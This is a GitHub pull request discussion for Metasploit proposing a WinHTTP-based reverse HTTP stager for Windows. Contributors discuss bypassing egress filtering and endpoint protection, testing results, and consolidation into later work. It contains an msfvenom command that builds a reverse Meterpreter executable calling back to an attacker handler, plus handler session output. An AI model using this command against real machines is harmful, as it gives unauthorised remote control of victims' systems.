Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

HTTP stager based on WinHttp #4608

Closed
wants to merge 2 commits into from
Closed

HTTP stager based on WinHttp #4608

wants to merge 2 commits into from

Conversation

BorjaMerino
Copy link
Contributor

This is an adaptation from the @hmoore-r7 stager (based on WinINET) to WinHTTP; useful to bypass a lot of filtering.
I will create another PR for the HTTPS version since I'm getting some errors I have to solve first.

Tested in Win 7 32/64

EJ:
./msfvenom -p windows/meterpreter/reverse_winhttp_http LHOST=192.168.1.34 LPORT=8080 -f exe >winhttp8080.exe

C:\>netsh winhttp import proxy source =ie

Configuración actual del proxy WinHTTP:

    Servidores proxy:  192.168.1.34:3128
    Lista de omisión    :  (ninguna)

msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set lport 8080
lport => 8080
msf exploit(handler) > set lhost 192.168.1.34
lhost => 192.168.1.34
msf exploit(handler) > exploit

[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Starting the payload handler...
[*] 192.168.1.34:36763 Request received for /sLXE...
[*] 192.168.1.34:36763 Staging connection for target /sLXE received...
[*] Meterpreter session 1 opened (192.168.1.34:8080 -> 192.168.1.34:36763) at 2015-01-19 12:52:58 +0100

meterpreter > getproxy 
Auto-detect     : No
Auto config URL : 
Proxy URL       : 192.168.1.34:3128
Proxy Bypass    :

@BorjaMerino
Copy link
Contributor Author

Ops! need to update spec/modules/payloads_spec.rb ...

@thelightcosine
Copy link

@BorjaMerino when you say useful for bypassing filtering do you mean recognition of the payload itself, or that somehow WinHTTP actually helps you bypass filtering of the traffic?

@thelightcosine thelightcosine self-assigned this Jan 20, 2015
@BorjaMerino
Copy link
Contributor Author

@dmaloney-r7 I did not explain myself very well, sorry. I mean that the payload could be useful
for certain scenarios. For example, a server where all outbound traffic is blocked except for the
WinHTTP default proxy settings (which is not based on the WinINet proxy settings).
Since many services rely on WinHTTP (for example WindowsUpdates to download patches) is likely that using these settings we could reach the handler.

@hdm
Copy link
Contributor

hdm commented Jan 20, 2015

WinInet is filtered by endpoint protection products as well (where WinHTTP may not be).

@hdm
Copy link
Contributor

hdm commented Jan 20, 2015

@BorjaMerino the staging is part of it, but we would need to implement a WinHTTP transport for meterpreter for that test case to be valid (in the example above, the stager is using WinHTTP but the payload is using WinInet).

@BorjaMerino
Copy link
Contributor Author

@hmoore-r7 yes, of course. I did not find any stage working with WinHTTP so I use meterpreter just to show that the stager works. In the meantime, the stager could be useful if someone has its own reflectiveDLL/stage using WinHTTP .

@thelightcosine
Copy link

@BorjaMerino the stager works well on windows 7, but crashes on XP

@BorjaMerino
Copy link
Contributor Author

@dmaloney-r7 thank you for testing. Could you give me more info about the crash. If I remember well I also checked it in XP SP3

@thelightcosine
Copy link

@BorjaMerino NO! you must suffer my terrible bug report and try to glean some meaning from it! =)

Sorry, tested on Windows XP SP0 , English
tested with both psexec and ms08-067
I can send you a zip with the crash dump if you'd like

@kernelsmith
Copy link
Contributor

XP SP0, dear god, nothing works on that ;)

On Feb 18, 2015, at 11:52 AM, dmaloney-r7 notifications@github.com wrote:

@BorjaMerino https://github.com/BorjaMerino NO! you must suffer my terrible bug report and try to glean some meaning from it! =)

Sorry, tested on Windows XP SP0 , English
tested with both psexec and ms08-067
I can send you a zip with the crash dump if you'd like


Reply to this email directly or view it on GitHub #4608 (comment).

@thelightcosine
Copy link

@kernelsmith aside from all of our other stagers and payloads you mean?

@BorjaMerino
Copy link
Contributor Author

@dmaloney-r7 xDDDD I will try it with a SP0. Thank you :)

@kernelsmith
Copy link
Contributor

no, not what I meant.

On Feb 18, 2015, at 2:31 PM, dmaloney-r7 notifications@github.com wrote:

@kernelsmith https://github.com/kernelsmith aside from all of our other stagers and payloads you mean?


Reply to this email directly or view it on GitHub #4608 (comment).

@BorjaMerino
Copy link
Contributor Author

@dmaloney-r7 sorry for the delay :p.
Windows XP SP0 does not support WinHTTP 5.1. Take a look at this information from Microsoft(https://msdn.microsoft.com/en-us/library/windows/desktop/aa384276%28v=vs.85%29.aspx):

With version 5.1, WinHTTP is an operating-system component of the following operating systems:
Windows 2000, Service Pack 3 and later (except Datacenter Server)
Windows XP with Service Pack 1 (SP1) and later
Windows Server 2003 with Service Pack 1 (SP1) and later

@hdm hdm assigned hdm and unassigned thelightcosine Mar 8, 2015
@hdm
Copy link
Contributor

hdm commented Mar 8, 2015

Grabbing this one because it lines up with some other planned work. We have too many HTTP stagers right now and I plan to consolidate these into newer "complex" payloads that are runtime configurable. This PR is a great start on WinHTTP support, but doesn't support SSL, nor the other use cases (proxy, proxy pstore, etc). It would make more sense to combine this into a bigger effort.

@hdm
Copy link
Contributor

hdm commented Mar 8, 2015

Marking delayed since this is part of #4895

@hdm hdm added the blocked Blocked by one or more additional tasks label Mar 8, 2015
@hdm
Copy link
Contributor

hdm commented Mar 10, 2015

@BorjaMerino I am using this PR as a base for WinHTTP stagers. You can follow the development on my branch. Thank you for your work on this, I will close out this PR once the new one is ready for testing.

@BorjaMerino
Copy link
Contributor Author

@hmoore-r7 you are super welcome :)

@hdm
Copy link
Contributor

hdm commented Mar 10, 2015

Putting this on hold until #4904 is merged, since I plan to reuse the blockapi/exitfunk code from that changeset.

@hdm
Copy link
Contributor

hdm commented Mar 12, 2015

Replaced by #4914

@hdm hdm closed this Mar 12, 2015
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
blocked Blocked by one or more additional tasks feature module tests
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants